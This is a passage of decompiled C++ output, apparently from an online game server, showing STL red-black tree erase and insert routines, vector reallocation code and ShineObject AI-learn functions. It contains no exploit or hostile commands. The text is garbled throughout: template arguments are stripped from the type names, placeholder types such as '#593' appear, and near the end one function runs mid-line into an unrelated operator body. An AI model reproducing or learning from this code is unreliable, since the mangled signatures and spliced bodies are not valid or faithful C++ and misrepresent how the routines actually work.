!*(_BYTE *)(*(_DWORD *)&v5 + 37) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 37) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 37) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 37) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 37) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 36); *(_BYTE *)(*(_DWORD *)&v6 + 36) = *(_BYTE *)(*(_DWORD *)&v4 + 36); *(_BYTE *)(*(_DWORD *)&v4 + 36) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 36) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 36) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 36) ) { *(_BYTE *)(v15 + 36) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 36) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 37) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 36) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 36) = 1; *(_BYTE *)(v15 + 36) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 36) = *(_BYTE *)(*(_DWORD *)&v7 + 36); *(_BYTE *)(*(_DWORD *)&v7 + 36) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) = 1; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 36) ) { *(_BYTE *)(v15 + 36) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 36) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 37) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 36) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 36) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) = 1; *(_BYTE *)(v15 + 36) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 36) = *(_BYTE *)(*(_DWORD *)&v7 + 36); *(_BYTE *)(*(_DWORD *)&v7 + 36) = 1; *(_BYTE *)(*(_DWORD *)v15 + 36) = 1; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 36) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 36) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0059D760) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_AILearn(void *this, int aiscr) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AILearn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AILearn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)((char *)v2 + 106) = aiscr; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)((char *)v2 + 110), "Entrance", 8u); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AILearn"); } //----- (0059D810) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_AILearn(void *this, int aiscr) { void *v2; // esi@1 int v3; // eax@1 char v4; // dl@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_AILearn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_AILearn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineObject::so_AILearn(v2, aiscr); v3 = **((_DWORD **)v2 + 1914) + 2; do v4 = *(_BYTE *)v3++; while ( v4 ); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)((char *)v2 + 110), (const char *)(**((_DWORD **)v2 + 1914) + 2), v3 - (**((_DWORD **)v2 + 1914) + 3)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_AILearn"); } //----- (0059D8E0) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::insert(...) { BossFieldContent::ServentBuffBossTable::ServentBossTable *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 unsigned __int16 v8; // dx@2 BossFieldContent::ServentBuffBossTable::ServentBossTable *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->sbt_Buffer; do { v5 = v6; v7 = v8 < v6->_Myval.sbt_Buffer; _Addleft = v8 < v6->_Myval.sbt_Buffer; if ( v8 >= v6->_Myval.sbt_Buffer ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (BossFieldContent::ServentBuffBossTable::ServentBossTable *)v5; _Val = (BossFieldContent::ServentBuffBossTable::ServentBossTable *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( LOWORD(v9->sbt_AbstateStrength) >= v3->sbt_Buffer ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (0059D9A0) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, BossFieldContent::MobAutomaticAction *_Val) { BossFieldContent::MobAutomaticAction *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 unsigned __int16 v8; // dx@2 BossFieldContent::MobAutomaticAction *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->maa_MobID; do { v5 = v6; v7 = v8 < v6->_Myval.maa_MobID; _Addleft = v8 < v6->_Myval.maa_MobID; if ( v8 >= v6->_Myval.maa_MobID ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (BossFieldContent::MobAutomaticAction *)v5; _Val = (BossFieldContent::MobAutomaticAction *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( LOWORD(v9->maa_Abstate.Strength) >= v3->maa_MobID ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (0059DA60) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(4 * _Capacity); v2->_Myend = (ABSTATEINDEX *)((char *)v4 + 4 * _Capacity); v2->_Myfirst = (ABSTATEINDEX *)v4; v2->_Mylast = (ABSTATEINDEX *)v4; result = 1; } else { result = 0; } return result; } //----- (0059DAB0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const int *_Val) { std::vector > *v4; // esi@1 int *v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #593 **v16; // eax@25 int *v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #593 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (const int *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#593 **)(v20 - v23); v4->_Mylast = (int *)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#593 ***)&v21, v25, (#593 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#593 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (int *)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#593 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (int *)((char *)_Newvec + _Counta); v4->_Mylast = (int *)((char *)_Newvec + 4 * v19); v4->_Myfirst = (int *)_Newvec; } } } //----- (0059DC90) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::erase(...) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 29) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 29) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 29); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 29); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (0059DD50) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ABSTATEINDEX *_Val) { std::vector > *v4; // esi@1 ABSTATEINDEX *v5; // edx@1 ABSTATEINDEX v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // ecx@6 int v10; // ecx@11 int v11; // eax@15 int v12; // ecx@18 int v13; // eax@22 void *v14; // edi@25 std::list,std::allocator > >::iterator *v15; // ST14_4@25 ABSTATEINDEX *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::list,std::allocator > >::iterator *v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 std::list,std::allocator > >::iterator *v24; // ST20_4@32 int v25; // ebx@32 std::list,std::allocator > >::iterator *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-28h]@31 int v28; // [sp+0h] [bp-24h]@1 void *_Newvec; // [sp+Ch] [bp-18h]@25 int v30; // [sp+10h] [bp-14h]@25 int *v31; // [sp+14h] [bp-10h]@1 int v32; // [sp+20h] [bp-4h]@25 unsigned int _Wherea; // [sp+2Ch] [bp+8h]@31 std::list,std::allocator > >::iterator *_Countb; // [sp+30h] [bp+Ch]@25 std::list,std::allocator > >::iterator *_Counta; // [sp+30h] [bp+Ch]@31 v4 = this; v5 = this->_Myfirst; v6 = *_Val; v31 = &v28; _Val = (ABSTATEINDEX *)v6; if ( v5 ) v7 = v4->_Myend - v5; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( 1073741823 - v9 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::list,std::allocator > >::iterator *)v4->_Mylast; v20 = _Where; v21 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2 < _Count; v22 = 4 * _Count; _Wherea = 4 * _Count; v27.dummy[0] = 4 * _Count; _Counta = (std::list,std::allocator > >::iterator *)v4->_Mylast; if ( v21 ) { std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&v20, v19, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v20 + v22), (std::allocator,std::allocator > >::iterator> *)v4, v27); v23 = v8 - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v20) >> 2); v24 = (std::list,std::allocator > >::iterator *)v4->_Mylast; v32 = 2; std::vector>::_Ufill( (std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *)&_Val); v25 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (ABSTATEINDEX *)v25; std::fill( *(std::list,std::allocator > >::iterator **)&v20, (std::list,std::allocator > >::iterator *)(v25 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { v26 = &v19[-v22 / 4u]; v4->_Mylast = (ABSTATEINDEX *)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( &v19[-v22 / 4u], v19, v19, (std::allocator,std::allocator > >::iterator> *)v4, v27); std::copy_backward_std::allocator>>::iterator___std::list_std::allocator>>::iterator__>( *(std::list,std::allocator > >::iterator **)&v20, v26, _Counta); std::fill( *(std::list,std::allocator > >::iterator **)&v20, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v20 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v5 ) v13 = v4->_Mylast - v5; else v13 = 0; v11 = _Count + v13; } v30 = 4 * v11; v14 = operator new(4 * v11); v15 = (std::list,std::allocator > >::iterator *)v4->_Myfirst; _Newvec = v14; v32 = 0; _Countb = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v15, *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v14, (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( _Countb, v8, (std::list,std::allocator > >::iterator *)&_Val, (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v4->_Mylast, &_Countb[v8], (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v4->_Myfirst); v4->_Myend = (ABSTATEINDEX *)((char *)v14 + v30); v4->_Mylast = (ABSTATEINDEX *)((char *)v14 + 4 * v18); v4->_Myfirst = (ABSTATEINDEX *)v14; } } } //----- (0059DF90) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::erase(...) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 37) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 37) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 37); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 37); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (0059E050) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { std::vector > *v2; // esi@1 ABSTATEINDEX *v3; // ecx@1 signed int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 ABSTATEINDEX *v7; // ecx@7 ABSTATEINDEX *v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = this; v3 = _Right->_Myfirst; v11 = &v9; v10 = v2; if ( v3 ) v4 = _Right->_Mylast - v3; else v4 = 0; v2->_Myfirst = 0; v2->_Mylast = 0; v2->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)v2); v5 = 4 * v4; v6 = operator new(4 * v4); v2->_Myfirst = (ABSTATEINDEX *)v6; v2->_Mylast = (ABSTATEINDEX *)v6; v2->_Myend = (ABSTATEINDEX *)((char *)v6 + v5); v7 = _Right->_Mylast; v8 = _Right->_Myfirst; v12 = 0; v2->_Mylast = (ABSTATEINDEX *)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( (std::list,std::allocator > >::iterator *)v8, (std::list,std::allocator > >::iterator *)v7, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (0059E0F6) -------------------------------------------------------- void __usercall _L181019(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::operator_(void *this, int __formal) { void *v2; // esi@1 ABSTATEINDEX *v3; // ebx@2 int v4; // edx@2 int v5; // ecx@3 void *result; // eax@6 int v7; // eax@7 int v8; // edx@8 int v9; // eax@11 int v10; // edx@15 int v11; // edx@19 ABSTATEINDEX *v12; // ebx@21 int v13; // ecx@24 int v14; // eax@25 v2 = this; if ( this == (void *)__formal ) return v2; v3 = *(ABSTATEINDEX **)(__formal + 4); v4 = 0; if ( !v3 || (v5 = (*(_DWORD *)(__formal + 8) - (signed int)v3) >> 2) == 0 ) { if ( *((_DWORD *)v2 + 1) ) { operator delete(*((void **)v2 + 1)); v4 = 0; } *((_DWORD *)v2 + 1) = v4; *((_DWORD *)v2 + 2) = v4; *((_DWORD *)v2 + 3) = v4; return v2; } v7 = *((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD *)v2 + 2) - v7) >> 2; else v8 = 0; if ( v5 <= (unsigned int)v8 ) { std::copy( v3, *(ABSTATEINDEX **)(__formal + 8), *((ABSTATEINDEX **)v2 + 1)); v9 = *(_DWORD *)(__formal + 4); if ( v9 ) { *((_DWORD *)v2 + 2) = 